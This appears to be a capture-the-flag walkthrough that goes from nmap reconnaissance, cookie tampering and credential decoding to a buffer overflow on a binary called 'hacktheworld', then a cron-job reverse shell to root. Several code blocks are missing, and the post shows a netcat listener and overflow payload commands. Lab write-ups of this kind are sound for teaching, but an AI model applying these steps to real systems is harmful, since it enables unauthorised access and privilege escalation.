Complex Attack Types: Sample Scenarios 46

While attacking the complex structure in front of us, we will develop our sharp intelligence and penetration abilities, as well as understand the importance of overflow research.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

Let’s start cyberpunks!

Let’s act quickly and save the values ​​we use most in the shell, as we always do.

Now we need to register the target on local DNS, we can use our local /etc/hosts file for this.

You’re ready to move on to the discovery phase.

As a first step, you should try to gain detailed information about the target network and system structure by using our nmap tool: nmap -sV -sC -sT -oN nmap_result.txt -T4 -A --script=vuln -Pn $target_ip

It is important that you master the Nmap tool. You should be patient and analyze the information you get here.

The output told us some details. We have information about open ports, version identification and some advisory CVE notes. In a real scenario, you don’t know where the solution will come from. That’s why you should save them all.

SSH (Secure Shell):

HTTP (Hypertext Transfer Protocol):

You also saw that different pages are available over HTTP.

Now let’s run a different nmap command, this time our goal is to enumerate pages over HTTP: nmap -sV --script=http-enum -A $target_ip -oN enum_result_nmap.txt

You can do a more targeted scan: nmap -sC -sV $target_ip -p 22,80 -oN target_scan_nmap.txt

You have seen that you should not settle for a single query. There is another endpoint here that we have not seen in previous queries.

We need to take our discovery phase to the next level and get the details. First, let’s send a curl request to the robots.txt page: curl -X GET http://ourtargetsite.thm/robots.txt

The same information we got from our last nmap query.

Now get the header information:

Let’s check it via browser.

At first glance, we are presented with a page without much detail.

You should always use the tools on the browser. Sections such as “Network”, “Storage” can provide you with evidence of internal workings and API points that are not normally observed.

Additionally, it is recommended to review the page source, as in some cases developers may forget their own notes and scripts there.

The page source did not provide us with additional details. Now it’s time to take a look at the other sections.

We discovered a cookie defined to us. This seems to belong to a mechanism that controls access. Since we are an external user, we are tagged “denied”.

We can go to this point /zYdHuAKjP which we obtained in the query.

We do not have authorization, probably access here is controlled through cookie values. Now let’s manipulate this cookie value through the browser and change it to “granted”.

Now save and refresh the page.

We were right! We have obtained our right of access.

Now we have a value like:

It has an interesting structure, we need to figure out what it means, but before that let’s apply a few more approaches.

Note down all the evidence you find and move on to the next step.

Now let’s go to the operatives point and check what we will get.

There may be names of people responsible for internal operations, these are also potential usernames and you should save them.

You can save the names on this page by running the command below, you can also do this manually.

We got the users here.

On the other hand, have you seen the code extension of the page? This is a php infrastructure.

Let’s go back to the secret message we found earlier. This message was created according to a methodology. There is what seems like an encrypted “user::password” value.

According to the hint, “zA” is equal to “a”.

To decode the given message according to the described method:

You can use the sample codes below.

Let’s try one of these.

Yes we have the first part:

Run for other.

We also got the other part:

Do you understand what this means? Yes, we now have the credential:

We saw that the SSH port was open. We can try to log in with the user we obtained through this.

Our attack surface has expanded. Now you can start navigating the system.

In a real scenario, every detail you get is important. You need to go as deep as possible and gather information.

The command dpkg --version is used to display the version information of the dpkg utility installed on a Debian-based Linux system, such as Debian, Ubuntu, or any other derivatives. dpkg is the Debian package manager that is used to install, remove, and provide information about .deb packages.

This information lets you know which version you should use when uploading a new code to the target system.

To get information about working and listening ports on the internal network using netstat, you can use the following command:

From your netstat output, it appears that there is a DNS service listening on 127.0.0.53:53. This is typically indicative of a local DNS resolver, such as systemd-resolved which listens on this IP address and port.

This command will give you detailed information about processes listening on port 53: ss -tulnp | grep :53

Check the DNS configuration: cat /etc/resolv.conf

This command provides detailed status information about the DNS servers used by systemd-resolved:

These commands are given as an example for you. Let’s get back to our goal now.

There is a binary, named hacktheworld.

Get file information.

You can see what other information there is.

We discovered that there are some tools we can use to debug the binary.

First, let’s try to import this file to our local machine:

Now we can debug on our local machine.

You may prefer to use Ghidra for analyzing this binary file.

You can also use Ghidra’s auto analysis feature.

Let’s analyze main function:

We got:

This function requests and stores an input from the user. It interacts with the local_48 variable.

Now check call_bash function:

There are many interesting details here. Even though some strings are printed here, there is a UID definition. When /bin/sh is called, we can take actions via spooky’s shell.

Note these findings.

You can also choose to use radare2.

r2 -d hacktheworld:

After running aaa, you can use other Radare2 commands to explore the analysis results:

The main and call_bash functions caught our attention here too. Now get detail about call_bash again: s sym.call_bash

It matches the details we got with Ghidra.

In radare2, the dc command stands for "continue" and is used to resume execution of the program after you’ve paused it with a breakpoint or step command.

Now let’s run it and enter a long value. Yes, we have started testing the overflow approach.

We got a error, this is proof for us.

In radare2, the dr command is used to display or modify the state of the CPU registers. It is short for "display registers".

Did you see rbp value? This is the pattern we enter.

Let’s check out the stack:

In radare2, the px command is used to print memory contents in a specific format. The pxl variant is a specific option for printing memory as a "long" (32-bit integer) values.

Binary analysis is a very important topic. In this article, we will present these to you for now and continue with the scenario.

You can read the following resources:

Get ready to enter the real fight. We will usurp another user through this overflow approach.

Now let’s try to directly exploit the binary we have and understand its mechanism. Use: python2.7 -c "print 'a'*100" | ./hacktheworld

We managed to get the “Segmentation Fault” error. But we need to discover what the required value is. This is defined as overflow offset. We had to find the size of the buffer.

You can create iterations.

Yes, we found the size. It is 72. Now try again: python2.7 -c "print 'a'*72" | ./hacktheworld

The theory has been confirmed.

The program crash at 0x48 bytes.

We need to find the function address.

The command readelf -a hacktheworld | grep -i call_bash is used to search for occurrences of call_bash in the output of readelf, which displays information about ELF (Executable and Linkable Format) files. Here's a breakdown of each part:

To convert the hexadecimal address 0000000000400657 to a \x format for use in a context like a payload or hex dump:

It is kind of:

You need to write it in reverse form:

We can inject the little-endian encoded address:

Now try this:

Yes! It is done now.

Now we can run this approach on the captured user. Don’t forget to use python to spawn a full shell: python3 -c "import pty;pty.spawn('/bin/bash')"

Now we have switched to the spooky user.

Now let’s move on to privilege escalation. But for this we need to conduct research. First of all, we need to check the scheduled tasks. We will use crontab for this.

crontab is a utility used in Unix-like operating systems to schedule and automate tasks at specified times or intervals. These scheduled tasks are known as "cron jobs," and crontab allows users to manage them.

We discovered a task for spooky.

For exploit, you can check out this source: https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/

For wildcard: https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

Or for general information: https://book.hacktricks.xyz/linux-hardening/privilege-escalation

First, we need to create our own reverse .sh code. You must do this on the directory that the user has authority over.

Put your machine in listening mode via the port you specified: nc -nlvp 11444

Now do the following in order through spooky.

Now we’re ready to jump.

Now just wait for crontab to run this.

Now, we are root!

Don’t give up on hacking.

Code for good.

^-^